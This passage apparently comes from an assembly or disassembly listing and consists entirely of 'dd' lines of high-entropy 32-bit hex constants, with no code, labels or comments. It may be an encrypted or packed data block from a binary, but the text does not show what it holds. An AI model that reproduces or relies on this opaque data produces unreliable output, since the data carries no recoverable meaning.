		dd 0F70032F4h, 4981FF87h, 95CDC1Dh, 86F23323h, 1B5198F3h
		dd 2C385A18h, 0AD130B77h, 95F001A6h, 8F3D06C9h,	5ADD9150h
		dd 23BA6A2Ah, 0A99C0119h, 20C6D74Fh, 0C79E83B4h, 0D10D3162h
		dd 628420C0h, 0D82B1381h, 9B704CD3h, 0F791758h,	56F0208Bh
		dd 5F5C6160h, 41BE1E47h, 6DB6092Dh, 1DD3C076h, 5004BB6Eh
		dd 1862C4D4h, 2BD73FE9h, 91523CEh, 0C86D2E6Fh, 55601D64h
		dd 597E708Ah, 2C892704h, 2CECC7CCh, 0E627BB8Fh,	0D23B8065h
		dd 1701A36Ah, 0F3B9B204h, 6D2CB0EFh, 268F924h, 21918501h
		dd 986A3BD4h, 9D1101D6h, 500FF465h, 58413AE9h, 2915B93Ch
		dd 7E2A98F4h, 0B4FD2DDAh, 232F322h, 0F48354h, 0BE39CE7Eh
		dd 0AB1ABF6h, 358D3113h, 4FB66022h, 0ED57412Ah,	12CB789Ah
		dd 0BE342550h, 0F2E09DB6h, 4EE98B3Ch, 0C71688ACh, 49DE5F3h
		dd 8D0561D2h, 8E127BD0h, 9125B1F0h, 9B6A6ACh, 0CEC80AA9h
		dd 0B2932175h, 40714D2Fh, 4F48F7ADh, 0C93B7C0Ah, 17DEAB58h
		dd 0C2B81DCDh, 69D90A16h, 0D8502F91h, 20EE5B03h, 0F5B5314Bh
		dd 8327129Ah, 0EF4FCDC1h, 0E4B04E80h, 8B2D2C82h, 0BA4EAEF2h
		dd 0DCAE7627h, 0CCDD5F00h, 892B2286h, 213D2D95h, 0A9ED6FB2h
		dd 4B2D0840h, 0DE41F732h, 636A2469h, 2F56916Fh,	27F0F026h
		dd 2CCB3A5h, 2505BD89h,	888B63D4h, 7E9BB20Eh, 8D8B8671h
		dd 6116E16Dh, 5DD8C32Bh, 9B37D745h, 9CF8197h, 0F49F93CAh
		dd 3A1A79Dh, 71873FEFh,	68707A36h, 0BA8B0Dh, 0E5E0B3C3h
		dd 27A1C94Ah, 95741C05h, 70B16797h, 2D213741h, 0ADC3C39Eh
		dd 0B8D1DAE8h, 6B85C725h, 427B90EAh, 67BE065Bh,	405561FCh
		dd 93B79Dh, 19A18357h, 0CD624102h, 0B0BC9D4h, 5A924447h
		dd 0C9B0D0A7h, 3A072B10h, 0B0835835h, 0BE988825h, 0C1CF1E81h
		dd 0FF38C52Dh, 885F9A85h, 3087C016h, 0BBECBFF5h, 0B341AC2Dh
		dd 54BEE138h, 0F6936F62h, 2A94A0DAh, 8EAB02BEh,	50EB7584h
		dd 54DB140h, 0BF1DE082h, 0DBE35E35h, 6818815Dh,	60CA3B52h
		dd 0D6279598h, 794FC959h, 71E7F0FEh, 44A2A78Ah,	3E4A6018h
		dd 2E3F3174h, 69C95DC6h, 1F7FB8F3h, 1D3DB53h, 8D0FF2EEh
		dd 2D21BB21h, 30D6C68Ch, 6E0F14E9h, 50001D75h, 39277426h
		dd 2780FCEDh, 6DB2CD71h, 17073741h, 0E00B8E66h,	7823B3F9h
		dd 9A002E82h, 44357E45h, 48718589h, 0C782F533h,	955BAD04h
		dd 71F8EA73h, 2CB83A87h, 962E019Eh, 8B2FC1CAh, 0A24423C1h
		dd 6AFE301Ah, 80A46705h, 0B4A8B509h, 0BC386D80h, 0BA3E835Ah
		dd 335E040Bh, 0A7F111BDh, 7C5E6DEh, 0DE831E44h,	202A404Dh
		dd 1017938h, 0DF5B4EF1h, 3F3A04EBh, 182358h, 512DDEE3h
		dd 369853BCh, 5F802FECh, 99BD3A23h, 2F07ACFh, 0D0A4F7A9h
		dd 10DC1B6h, 94D9F512h,	71585BA3h, 0A5011DE5h, 0DA80E5C9h
		dd 505E1102h, 10566027h, 8DD4B1h, 74D38B44h, 0A19B51F2h
		dd 5E714175h, 5F505239h, 61250D97h, 4B293DB0h, 91F69795h
		dd 470A859Dh, 59E68E55h, 0B51F1D24h, 93A2215Dh,	0E5327888h
		dd 0C2898450h, 6192000h, 75E8EEBFh, 2B9FB644h, 4C9B78EEh
		dd 48877A01h, 50FC98FFh, 5EB6EEBEh, 98B00CF2h, 814A4F29h
		dd 8182E8A0h, 0BF82D1B7h, 5765E7FAh, 0E0535C84h, 81035ECEh
		dd 6330AAD6h, 15A162Ah,	9C3A1185h, 37E89F59h, 2E179A7Ch
		dd 0B3C54664h, 8100A3A3h, 7CC30DEEh, 0BD5A037Bh, 89A3FD95h
		dd 0B22724Ch, 0BA401AB4h, 9119BE1h, 0D3FF69F9h,	0EDC8C5Eh
		dd 8359B9F8h, 56A42D21h, 0B59F4005h, 9EB60C51h,	8570F9EBh
		dd 0B207FCE9h, 29CCC970h, 707B5B0Fh, 1601E434h,	0BD092ADEh
		dd 28761D71h, 14786C2h,	6760296Fh, 4AE7A812h, 4433F123h
		dd 786BFDA8h, 0F9E59D30h, 5BB9BD2Bh, 1AC752Fh, 11F1FB18h
		dd 228A6D48h, 23B9674h,	1EDCBD83h, 2D118CD9h, 0E9FB7261h
		dd 0BD55C288h, 0DF11024Ch, 0FF40EBA7h, 0C28205A5h, 0A83A0DF7h
		dd 34E8016Dh, 0F50479FAh
		dd 0E997029Fh, 8B05DBB9h, 642A85BDh, 7AF08937h,	8500876Eh
		dd 4ED34501h, 80900205h, 288DC084h, 59B84E60h, 0AEE513BCh
		dd 4E65F76Ah, 0EC00916Ah, 0DB0591EDh, 4E2C90DDh, 512516C4h
		dd 0ACA992D3h, 877B5A07h, 7591212Dh, 168C2E2Ch,	0F88825C2h
		dd 0CDF66A9Ah, 903B2210h, 0A250F397h, 21D00012h, 86A0161Eh
		dd 54EF0BBEh, 0C0290CBh, 870E33E9h, 53090409h, 337978EDh
		dd 9965E000h, 684AFAB8h, 230F60E8h, 0BC72F6E9h,	82C65400h
		dd 51EFE146h, 0AD1C120Eh, 8078EC29h, 0D6E2CD43h, 0A2640E0Ah
		dd 0A660FAE0h, 7B07D1A4h, 0E6C4B24Eh, 0C5E0D2F6h, 0A72D7D5Fh
		dd 6D478259h, 70E60216h, 77C375Dh, 0A7C8F836h, 71E4728Bh
		dd 72DCD754h, 898EB70Ch, 0A3002477h, 89707C64h,	0D8B606A0h
		dd 49837BDh, 0F5144D2Ch, 256F6FEBh, 8BEDBC0Bh, 1DD1E9F9h
		dd 9C03CD18h, 0A0394045h, 0C6D9043h, 59B51303h,	42F2C929h
		dd 0B555354Bh, 801A9132h, 0D1CA97D2h, 10CE710Dh, 4AFFB70Fh
		dd 860493B2h, 87959ADEh, 0F83934C4h, 0BE5E0088h, 1083A63h
		dd 2E39BA93h, 26D46D3Eh, 9C161334h, 9301C7CCh, 3EEC8158h
		dd 81311A26h, 541EFF8h,	0FE796F30h, 0B8ABFD93h,	0A7E927DDh
		dd 2661371Ah, 0D63639F6h, 0AA0F9A6h, 4500FE77h,	0D86C1DAh
		dd 59B59D29h, 0D6016C2Ch, 16E9190Bh, 446F2EB0h,	0C58BC616h
		dd 608F0BB6h, 11214C02h, 0ACC88000h, 968AB661h,	0B09BF7CBh
		dd 7CD72A1h, 0B509C9BBh, 0D1523B89h, 9D0D216Ah,	1B5F5689h
		dd 5C8AD281h, 335381F0h, 21945B5h, 5672415Eh, 7AF14291h
		dd 379F4F92h, 0FCAA0512h, 0B5CE8037h, 6E9110C9h, 40B7EFA7h
		dd 0CD304FACh, 0D6A0BF04h, 42804E67h, 2D5229C6h, 35A261F3h
		dd 6BFC011Dh, 0E174F4h,	607559F3h, 0C2BEF08Bh, 312793EEh
		dd 0F8A5E661h, 83F8127Bh, 0BC24FDC1h, 647100F9h, 81185C83h
		dd 0A01C6F7h, 4DBE42F3h, 0DADEA650h, 42B44561h,	3DD8FEEAh
		dd 29FA23A2h, 0D18DAAC5h, 0B0B98D93h, 4C40AF96h, 73512E61h
		dd 6B8B3069h, 1B918D9Fh, 32E06A80h, 0CC00D8EFh,	0ABE3BB3h
		dd 0B754FADFh, 116527B8h, 12B5B80h, 10E681C3h, 6D7A49D7h
		dd 13238E2Ch, 6AE896A9h, 0E9EF3B13h, 0C08B8BD1h, 0A9B8DA7Dh
		dd 0F28BCE16h, 0C9FC23D5h, 6ED4B80h, 2E02FC73h,	36129DECh
		dd 5F10427Fh, 2D5A2D89h, 25CD9509h, 0C0976D1Dh,	0DC909B1Ah
		dd 89E74105h, 6DAC618Dh, 14A26943h, 162F6031h, 2D4A8F95h
		dd 603D4F35h, 30C7B338h, 60A8B500h, 8D31B6B1h, 0E7044A0Dh
		dd 0B4045E0Bh, 0EED990E0h, 7AFA207Ah, 48009517h, 5030FCFDh
		dd 139D4F3h, 8326690Ch,	2B5FDC66h, 43B688h, 9FB1BB15h
		dd 81D50D2Eh, 9B4CE3Ch,	765F46DDh, 25B5C1E3h, 0DB900227h
		dd 0AB887053h, 4C6DE000h, 8B7BAEE4h, 93214EB5h,	0A3FFC735h
		dd 0F9E2045Ch, 0BD031F40h, 4842095Eh, 7E1341B5h, 8D01852Ah
		dd 0E23B88F5h, 0A566DE0Eh, 0C9BA6012h, 45E96183h, 0D8D6C009h
		dd 9E551D03h, 0FC9BE230h, 0F6B8F9BDh, 0C5D38A05h, 0B0C29B0Fh
		dd 68B1012h, 11380DD4h,	0BD0920B1h, 7CC925DDh, 20CE161Fh
		dd 36B42B31h, 93892440h, 2CCF1FDAh, 9944C09Ah, 64E988B9h
		dd 87D181BFh, 44212866h, 0AECF0440h, 84095CB7h,	287570D9h
		dd 0C0335850h, 0E8813C2Eh, 2A880064h, 3023EB6Ah, 223F66B1h
		dd 0BE05FECBh, 5C325211h, 0F495F40Fh, 0D1D3527h, 70C46Fh
		dd 0F24038A1h, 0F80AE945h, 0B17FF71h, 0ADF40DBDh, 187A1C1h
		dd 9F1F314h, 688DBD31h,	0B4FA8B87h, 4C7969A5h, 0F8A661A7h
		dd 0C9998214h, 6F278454h, 0B974087h, 48A2870Fh,	7B0A19D4h
		dd 0D91F86Ah, 0A7905027h, 127D8A7Fh, 5F7B1118h,	572A42AEh
		dd 0B0A0A019h, 0D72792A7h, 789CB233h, 6A37B795h, 505EC204h
		dd 3F84CCFCh, 5D7AAB58h, 0B6DA8803h, 0CAE15D46h, 0B58D41A8h
		dd 6ADB24E9h, 838EB7B7h, 214ED707h, 0FBF6E7F8h,	51349F05h
		dd 0CF88B529h, 0AF4C9F5Fh, 8CB061B0h, 29617A9Eh, 53E3D95h
		dd 0DBD3FFB4h, 0EC1CC198h, 203A4A0Bh, 0FDDE733Dh, 0A57FA200h
		dd 92E231A7h, 9F660E44h, 0B8855760h, 2FDC5DBh, 6199491Ah
		dd 1BD81D1h, 1254409Ch,	383E42E9h, 2A414CF0h, 85F25A3Ch
		dd 7AD87C53h, 219116F1h, 65CD318Dh, 557EC81Fh, 51887102h
		dd 7ED13EF1h, 3B021081h, 0A59DB85Fh, 0D026DB07h, 8300D64Dh
		dd 87855A56h, 1633A4DDh, 9D08C1BDh, 0F1E6B78Ch,	5FF05604h
		dd 5F412DC1h, 0ABA29324h, 20603D7Bh, 0A68F8305h, 0BB720F0Ch
		dd 8BD5EE44h, 28CD62EFh, 1A11BBD1h, 0A9ED7150h,	4A6AE9E6h
		dd 57E840h, 0D7E63EACh,	0A1A0A227h, 6EB85EF7h, 69012781h
		dd 1DD3EC71h, 0DFF79C57h, 4DE9CDE8h, 81B45E1Ch,	0FB1280C7h
		dd 0E7C25049h, 6017E466h, 509FAFDEh, 12D6D91Ch,	358D0DBEh
		dd 0E2890B1Bh, 0B525A545h, 0CF5D0744h, 61A25069h, 98B430E1h
		dd 0E489092Dh, 1249497Fh, 0C7005DF8h, 49984A8Ah, 62586916h
		dd 991C207h, 2989D251h,	1610F285h, 628C0F50h, 0F3D6691Bh
		dd 0C21CEB9h, 5EEA45E9h, 3B09F403h, 81986EE8h, 0B05045E2h
		dd 776F3Eh, 7FF73ADDh, 51FF1E0h, 15850111h, 0E773A72Bh
		dd 0EB740A30h, 0C4E54C45h, 70D4174h, 2119482h, 70F871E4h
		dd 4D2B7CB2h, 204BD6D1h, 6EA2BFB6h, 8B2DA770h, 0E137C3h
		dd 91851442h, 8B27E4EDh, 0F6C80AF0h, 0C50C1109h, 0ED7B27A9h
		dd 1CF9B058h, 425793FAh, 5F5EF18Bh, 0BF014254h,	1C40D6FCh
		dd 2045572Ah, 9C7597C0h, 7EA9AD04h, 57A844B1h, 4D87884Ah
		dd 7C544200h, 88A4EFCEh, 0C21002EAh, 0F93DC087h, 93956354h
		dd 3A3BCFCh, 20698E36h,	1BA8CC1h, 78D4125Dh, 0BDB5E27Bh
		dd 1491BC9Fh, 5456C48Bh, 9E10E808h, 884C0E5h, 5E7F353Bh
		dd 0D69E8300h, 93476ADEh, 251C9AD8h, 41B3779Bh,	0D1F39227h
		dd 0D6E0AE21h, 31840A04h, 0CD81AD21h, 142C19BBh, 527F809Dh
		dd 81FE9B38h, 50D65A24h, 7A6B725h, 0E74356BAh, 0AA3451EFh
		dd 1759692Eh, 0F691024Ah, 8C2A1D75h, 14E18FD3h,	19A8A3EDh
		dd 5F02028Ch, 84BD3BD0h, 0E322EB56h, 40F4CF9Dh,	4A41C9AAh
		dd 0A3EA8D00h, 0B0605597h, 886158E0h, 0A6118516h, 62A64B87h
		dd 0EDA308B0h, 1158E77h, 248FB595h, 18AFD05Eh, 208D8995h
		dd 0DCA00AE9h, 6572F681h, 0AD46C128h, 2C0BAD4Eh, 7033F358h
		dd 1B097534h, 70B64C17h, 6BDC27B9h, 65E0B413h, 4A00B34Dh
		dd 0E3B58D57h, 2A29061h, 0A97C2514h, 0A4D25E6Fh, 128B5144h
		dd 0ED07B9F2h, 98ECED66h, 0C18325C6h, 4D786A5Bh, 4BF55A63h
		dd 5E560389h, 1B467Ch, 3883A079h, 2DB5D142h, 0AA09F51Fh
		dd 928269B7h, 0C02DD9C9h, 822A81A7h, 0B3986F60h, 0A244BAB4h
		dd 0C456604Bh, 33481710h, 6061DF16h, 41BD31CBh,	545B02FFh
		dd 3AC13D74h, 0EC485C20h, 0E7DB0037h, 85BF937Ch, 985C9C6Ah
		dd 0A6240F25h, 2BC082C6h, 0DC6F7CC3h, 0C59C4D01h, 8161C232h
		dd 49C4143Dh, 12B11704h, 0E9B1CBA7h, 34E0162Bh,	0B611E9F0h
		dd 1C60F16Ah, 7EA58442h, 89C08154h, 3E33E995h, 85C7FB31h
		dd 119C412Bh, 30186B65h, 431AD7CBh, 5E38168Eh, 0BE3F40EFh
		dd 0BD006166h, 3A53F022h, 4121B529h, 289A2A08h,	91C2E22h
		dd 79E7A19Dh, 5CB96881h, 0B7091646h, 1C026BE4h,	61C5AAC7h
		dd 40A1ED2Dh, 8DCB9769h, 0CE9A6109h, 9FEFD95Dh,	0DCE91509h
		dd 0DAAD745Eh, 0C100DC4Fh, 0D51E7EECh, 4F639890h, 0A8BF1535h
		dd 0ED12E3BCh, 0EAF6EECEh
		dd 29BAF0E7h, 6D066A3Ch, 7456B53Eh, 24CD2594h, 10D57A22h
		dd 30BA5704h, 259A8E05h, 33AF6201h, 0B773DDEh, 1FA99C8h
		dd 0E907DF31h, 0CE5EFE8Bh, 0D5671377h, 14B8AC8h, 0A7D64958h
		dd 7BCAD028h, 6427A36Eh, 4E0172C4h, 2F018F74h, 6979FA8Bh
		dd 874E0CB8h, 0C780109Bh, 7F0F6997h, 10457A90h,	0FCFA206Bh
		dd 77003F93h, 63F9BB9Dh, 0A9B4EC57h, 0E90102B5h, 0CD113EEDh
		dd 0B30AC41h, 8AC60CC0h, 1E25AB02h, 0EDF8100h, 24AB2FCAh
		dd 0BF60FF40h, 0D33A8804h, 0CEB1B925h, 709D5BCAh, 51002C1Ch
		dd 0E181674Dh, 99888DD0h, 0AC0B81BBh, 0D0536221h, 0D2C3FA9h
		dd 7E00F05Ch, 0C1230ADFh, 0C8FC4BADh, 32160843h, 0C300EB47h
		dd 0DD1C1EA7h, 0E18D2621h, 820F89A0h, 0B737E0FAh, 10F41CC8h
		dd 5C14915Dh, 5CA681ADh, 3CFC106Dh, 0D5F70090h,	7C113451h
		dd 293C1E15h, 2F0A5E9Dh, 6DA5348Bh, 754EC17Eh, 2A91718Bh
		dd 0E1831302h, 0B4074301h, 2E14A153h, 4C5EC851h, 17BD1412h
		dd 0D281B01Bh, 29310598h, 0BE606178h, 1B2F3D1Ah, 94444AE0h
		dd 0E88C161Dh, 8C1DFC81h, 19D41300h, 0FE0BD3Fh,	0D9311D8Ch
		dd 686DDF33h, 13AAB531h, 80C6032Bh, 0D64123F7h,	0B8977D3Dh
		dd 0F1920131h, 0DEE6C739h, 0F15C61FAh, 0BF6B852Fh, 0D0CC5698h
		dd 0A31B0061h, 0F03309D6h, 8E3B637Ah, 4685006Ch, 893821E2h
		dd 0D85D4DBDh, 93AF5829h, 0EDE6E924h, 390ECC8h,	0BB66B007h
		dd 0FA420C38h, 0B8BD5D89h, 4F5900BDh, 0A354C787h, 0F2DB7D9h
		dd 203DEC89h, 0B482555h, 492920F1h, 1D202C61h, 7C8A6058h
		dd 8543825Dh, 0F2E49D2Bh, 5A83A661h, 0B076A72Ah, 25298FDh
		dd 7DBB918Bh, 8D039E6Bh, 60692D0Dh, 27002E37h, 0B0FCCB68h
		dd 0A75199BAh, 64C3E0CDh, 3D55A04Ah, 5CF048FCh,	0F96D565Ah
		dd 0B52B8C3h, 134E09Ch,	1A0C9E84h, 0A4695456h, 0A1D91E2Ah
		dd 0B4293720h, 3497BCC4h, 1409F07Eh, 0A0D950D8h, 0B2F40200h
		dd 58B9C9h, 7F3ED737h, 69FEB321h, 0C25FB02Ch, 31135122h
		dd 3729D5BDh, 91499DEEh, 0B4DE8018h, 90BA1337h,	5F2D60D8h
		dd 2CE4A6BFh, 125A194Ch, 0C652F0Dh, 74A817FDh, 13831A48h
		dd 7F700211h, 1071F681h, 5D10C586h, 0F040566Bh,	5F793D40h
		dd 1CF9209Ch, 0EE18825Eh, 71604760h, 0DAEF9F28h, 9B945640h
		dd 0D0A0639Ah, 4F2AF58Dh, 95EC5D8Bh, 0D301A92Bh, 4D49259Ah
		dd 0DB97E2EBh, 0C0F74740h, 0BB11CD05h, 675D8BFDh, 2236D195h
		dd 51BFEC03h, 0B22DDBD3h, 6F01A0B8h, 9C3BC1E9h,	0C7D0F480h
		dd 0E9159685h, 0C9804137h, 0BF15DF0Fh, 0C2803917h, 61C88B89h
		dd 0B9C0BBCDh, 0EEBE4ADh, 0E99D6107h, 0C02B9E17h, 762D75FEh
		dd 0BB571CC8h, 0DB3B520Bh, 0B958984Eh, 0A7390991h, 0F18041D5h
		dd 0C18BC425h, 0B02A6056h, 5D0BFF8h, 0A76ABEDBh, 0E8EDEDCCh
		dd 490A008Dh, 0B5179A90h, 0F555BD83h, 975C0EEh,	3AD12C4h
		dd 50197441h, 0B8708B53h, 898EC038h, 0B713E285h, 0AA9E6721h
		dd 0E7052A17h, 2267585Bh, 0EE2021E8h, 0EDC9A748h, 0C767C0AFh
		dd 0E42EA1F4h, 991124ADh, 259D0109h, 76C8FEADh,	1F2AE118h
		dd 629D2360h, 49BD4B2Fh, 0E8181E50h, 95DB0905h,	96174185h
		dd 0F45345E6h, 5DB831E9h, 0F1B70F18h, 88346D6Ch, 3DB508CFh
		dd 3FB00EDh, 33920B34h,	885CD304h, 0CBB4820Fh, 6F800CB9h
		dd 0FF7A737Fh, 2F59C4C4h, 13157AAEh, 9B12C822h,	6FE851D0h
		dd 0F4B1BE08h, 526C7F1Eh, 0BF0A2993h, 0D45B502h, 0BD1FF75Fh
		dd 396D2A59h, 970AEB15h, 0A23B171Eh, 0A191EC05h, 0E912224Dh
		dd 9A87DED4h, 8C1758C4h, 0DAC3D3D0h, 0B2F650DFh, 2D192C85h
		dd 0E1EF65Bh, 0FC820912h, 0DF07E6E8h, 3F24BDh, 586D344Dh
		dd 5AD6278Bh, 0F2C2C885h, 0BA3BE00h, 6CCAC8B3h,	60AF2EFh
		dd 2B5B7A78h, 0F14BC8A7h, 84ED6C23h, 959CE806h,	6AB95301h
		dd 5E11C6C7h, 33ED308Bh, 0F48674h, 0A8587421h, 0C1B9D08Dh
		dd 0D781EB03h, 0E030F7A3h, 9F0760E8h, 0AB420E4Fh, 165F7EB9h
		dd 11960534h, 0B5FA2108h, 0A0DDA502h, 0E51CC6F3h, 2B7600CEh
		dd 60DBE2F0h, 9D1089AAh, 591D17F1h, 0B29374E8h,	42B3007Dh
		dd 0B4D4404Ah, 7D1618E5h, 23E16298h, 0FD8F793h,	0A7BCC050h
		dd 0DBE85EFCh, 13790664h, 0DAB27740h, 3B076BC8h, 2D33948Eh
		dd 0D201E831h, 32EB93ECh, 218AC26Ah, 18B73758h,	0F3B2E85Eh
		dd 84B0DE2Eh, 988139A7h, 0AA492A99h, 7A2F23E5h,	3733003Ch
		dd 51640F48h, 1D913115h, 122B35B0h, 65162C5Ah, 0B485E697h
		dd 198D9F8Dh, 5432F25h,	236FFBh, 3E73082Ch, 0B56F263h
		dd 50DAD2CBh, 76B37C76h, 0B36A8609h, 40B378ACh,	870BE70Bh
		dd 4000DC33h, 0D57CA95h, 31228400h, 0A43C2397h,	24C22E87h
		dd 5FFA02E5h, 0D06AD6E8h, 1DCBCF4h, 0C53EFD42h,	7DE960CCh
		dd 0B8340775h, 20BFEC4Fh, 6159518Ch, 0D2939D8Bh, 2CBDF210h
		dd 151F24Eh, 0D6305267h, 75EE6448h, 3341F910h, 5AE9B525h
		dd 4A7CFC42h, 80959E05h, 0EC99B16Dh, 0C6494A76h, 2AEC9032h
		dd 7083CB83h, 0A2BE0F5Fh, 0E8879253h, 0C756BB42h, 6EDB00F4h
		dd 93122829h, 0D262B1F5h, 733A974h, 4E54AB60h, 72C231C0h
		dd 0B0612F78h, 2BCBFB61h, 5AA41A10h, 0DA3FE1B5h, 0CF1C885Dh
		dd 27192CA0h, 7C0397C4h, 8D0F41A3h, 0F5250901h,	0DD82C38Bh
		dd 3F5F0E09h, 0DB06807Dh, 710FFBC4h, 0D7C4F95Bh, 3EA56EBAh
		dd 66E381F6h, 11E948BCh, 59CBB310h, 86BD9D00h, 2BB5C5F1h
		dd 305B0269h, 5F254979h, 0EF001B56h, 52C30483h,	53602550h
		dd 79F9ED90h, 22BB1000h, 1FB85BCEh, 7CF7127Ah, 4891F861h
		dd 91D16DEh, 0DAD5FFADh, 0B19060BCh, 1D987E13h,	940034E2h
		dd 6971E4B5h, 0D1F85F11h, 0BB519217h, 0A87AB0E8h, 3C2FB9FCh
		dd 5B2F6460h, 97C0B04Dh, 26C7F9h, 3506001h, 958DA63Bh
		dd 7627D920h, 0ED656E89h, 387B1AC9h, 13CA70h, 9A9349DFh
		dd 81606D28h, 3AF1CB0Eh, 0CE8A45EAh, 442AE04h, 0B5B88DEDh
		dd 0BF2C4202h, 50A8F3E4h, 0B5286265h, 0BE789D85h, 1AD8D3h
		dd 0DC10F40Ch, 6AB4E1B5h, 173634DCh, 0E2058C0Fh, 0FBEF17B2h
		dd 0F41A770Bh, 6648DCE6h, 0EC78C063h, 9DF547h, 9B7EB3A1h
		dd 146F55F4h, 5357500Ah, 0EDA79873h, 0BF49C02Fh, 1D28A23Bh
		dd 0D929F167h, 2F399107h, 40126F27h, 6111B302h,	0EFB4760Bh
		dd 5BCF526Ah, 7816E1Ah,	9096E06Eh, 0D20BF4F0h, 0FA4EDA1Ah
		dd 39E430CDh, 59BD65C0h, 50748213h, 137F2B14h, 0CBF919D1h
		dd 0CD12EEE8h, 0D1C755Fh, 9BFCD722h, 805D80DFh,	0B06EB1C8h
		dd 0F9CB68D3h, 2C00DECCh, 4F49135Ch, 0C4307AF7h, 0FF059DECh
		dd 8D00AC7Ah, 86C9E9A7h, 0BD699245h, 702673E8h,	1900BEA8h
		dd 8C968471h, 35BF668Eh, 0B9F1B6A4h, 0CADB8DBh,	0DDBD3151h
		dd 0F2C45EE5h, 25A72C69h, 0F00CEAA0h, 6BD1D1Dh,	0FCF31FC6h
		dd 0DCF99EF6h, 7A00E978h, 14659C2h, 831DD1B5h, 36EF75Bh
		dd 0FC85B02h, 922068Fh,	0F6A8FFBDh, 19C10980h, 66D02B73h
		dd 32F5345Ah, 0B874ADF4h, 135E388Fh, 8BA67686h,	30B6EDCAh
		dd 0C21601DCh, 0FC7A05Dh, 4D1BB880h, 0C80C2C61h, 20E700F6h
		dd 0AC1AFCDFh, 9897890Fh, 8B1119DBh, 31F284FCh,	0F29995B4h
		dd 1053E0BAh, 73ADAC50h, 456F0079h, 0B8641871h,	155B8D03h
		dd 8ABB5FF4h, 66B78DDDh, 0A8B8042Dh, 8D8B38C1h,	9F7B115Dh
		dd 98C19C16h, 22C1BD01h, 0C8B2CF7Ah, 5C77C116h,	9DAA708Ch
		dd 0A77A335Eh, 40EC2300h
		dd 6617AAA6h, 0D392B91Eh, 0DE08E4h, 0DF6F6694h,	0C58A3DB5h
		dd 0C0CCCD95h, 4D950131h, 0E5E2284Bh, 8BA58404h, 0C09BDBC0h
		dd 0BE944B4Fh, 290A006Dh, 0FBF681ACh, 665B0188h, 0A110B97Ah
		dd 0AB058402h, 2D20426Ah, 96B994A6h, 7901D42Dh,	88C04C09h
		dd 0B876870Fh, 2282E90Fh, 4948E47Ch, 3F074AE4h,	0A93E792Fh
		dd 0F1068BA0h, 24C30745h, 0CD74AF2Dh, 2A537AFAh, 0E100827Eh
		dd 84B9EDE4h, 0B700431Eh, 2FBB57A1h, 0B70A863h,	0DF8B505Bh
		dd 6EB40270h, 0E52107DCh, 0DA999D89h, 0C7C22D55h, 4A3C35F6h
		dd 58F09FA6h, 0FD144A91h, 11DE2EF6h, 17761011h,	0ED1944B4h
		dd 5CE9BCEFh, 0DE17FD79h, 9765BC23h, 202B5EA1h,	0FE906DD5h
		dd 0B463A800h, 3D370EFAh, 54C50216h, 8E257A9h, 0EAA005E0h
		dd 60CAA4A3h, 8B64985Fh, 9F6150C1h, 5B6D9F04h, 86B4DFE0h
		dd 0CC151C5Ah, 0AF9994FEh, 0B715E18Eh, 0EF19D985h, 0D7C8B975h
		dd 88E28Bh, 0BE41B53Bh,	0CDC6D70h, 0EC692201h, 8D8A7766h
		dd 0B190F7C6h, 0D12DFFFAh, 8340457h, 0B0025F09h, 0E10B2DB5h
		dd 0DE6E5BB8h, 8696C7CCh, 199A0AC0h, 3DC6C555h,	3ED9A534h
		dd 26AA044h, 0FD79C8Ch,	44E66D82h, 0B8F22580h, 6F0B05EDh
		dd 49490484h, 547EDE57h, 8A406F23h, 221D5E4Dh, 0E901077Ch
		dd 2C7B0E8Eh, 4440BE72h, 0DFB62460h, 92E002E6h,	866D6121h
		dd 0E6BC84E0h, 0B6F609F5h, 6101440Ah, 6B1888F9h, 61C0C5DBh
		dd 0D0F86E08h, 90F5BA19h, 0E2F6FBEAh, 3E14D709h, 0EB093E00h
		dd 75EAA7F8h, 0DCA80171h, 2B255D79h, 5C9B3F90h,	50D39787h
		dd 60CC37C7h, 32D8B507h, 3BB0DF81h, 17FC38BDh, 0F835FF64h
		dd 8C14FC41h, 246C959h,	89648467h, 95C5925h, 9F409185h
		dd 0F90BF781h, 0F01C2BD3h, 0AD679768h, 0A76017C4h, 730102A3h
		dd 0BB66FF6Ah, 5BCC77F1h, 0F44F725Dh, 691F95B5h, 28801C91h
		dd 37F18811h, 8C0C4604h, 44C1513Ch, 277F1005h, 14088420h
		dd 10120E3h, 0AD0FEF81h, 3FFC1213h, 0A84FE99h, 9571E4DBh
		dd 34EAAD05h, 3AF87BF3h, 63E8D680h, 0F01C274h, 9D0BC8B6h
		dd 0D4691D19h, 8B0FC8Ah, 66240461h, 0C995093Ch,	616B7610h
		dd 0D0A85BDh, 0F159216Eh, 0E0E5DDDBh, 580CA120h, 32C82B4Fh
		dd 550D65B9h, 28A2D1h, 0CEC327AEh, 276D0E4h, 7E233955h
		dd 7CD1DD8Bh, 0F1850103h, 0B43F7622h, 2251AF02h, 0D18D8984h
		dd 20F680C9h, 0CFB8B469h, 86AC9A0Eh, 469DC002h,	0FB39EC4Ah
		dd 0A307FC30h, 0B40A409Bh, 6B6502C3h, 0D03B5916h, 5211A484h
		dd 28815305h, 0AE8165AEh, 0D3349B09h, 98CA6A1h,	897933F9h
		dd 0AF298488h, 4BC0A610h, 95EA4700h, 0A6F5162Dh, 0A5832835h
		dd 8AFE0B24h, 7C4489FAh, 85B5090Dh, 27C28903h, 0D834B18Dh
		dd 0BD229F18h, 856A95F3h, 2DB09366h, 0F6D10FDh,	49601CE4h
		dd 0DC018C2Ch, 4D1FFD3Dh, 73D8BF55h, 290E0CBAh,	0B9B5AD8Dh
		dd 0DB07AA27h, 0CB16D090h, 0F9841200h, 640941A6h, 0F5C8A1DBh
		dd 7898CBA7h, 0FA14F8BBh, 25BC0C3Ch, 6764FCh, 0DB3D1A8Fh
		dd 32353495h, 5D2D5202h, 0D6E8FCB1h, 881D8015h,	56A7246Dh
		dd 0C9B3600h, 0EE39D653h, 0E9C60D8Dh, 2A7AE1FAh, 2B14C6A2h
		dd 4179F7C0h, 3AD2E11Ah, 8A00106Eh, 4655B5E7h, 3E01F3B2h
		dd 33ADF8E3h, 4C80D1C2h, 4E983D0h, 6D9DF475h, 58A0CF7Ch
		dd 0B874C138h, 35C80F62h, 68000B22h, 880D7BB5h,	417A2BE1h
		dd 8BA4B93Fh, 0AE27132Ch, 5E17157Ah, 7E57B0D4h,	9CCEAB17h
		dd 0B45044B3h, 9C509ACDh, 8026DCC2h, 0D501F0F8h, 0C28B50F1h
		dd 6F0318C8h, 2A1D08C1h, 5819CAB9h, 0DC09D633h,	743EE380h
		dd 8B07DC4Dh, 69A1B392h, 0E25EC722h, 803251BBh,	1538AEBh
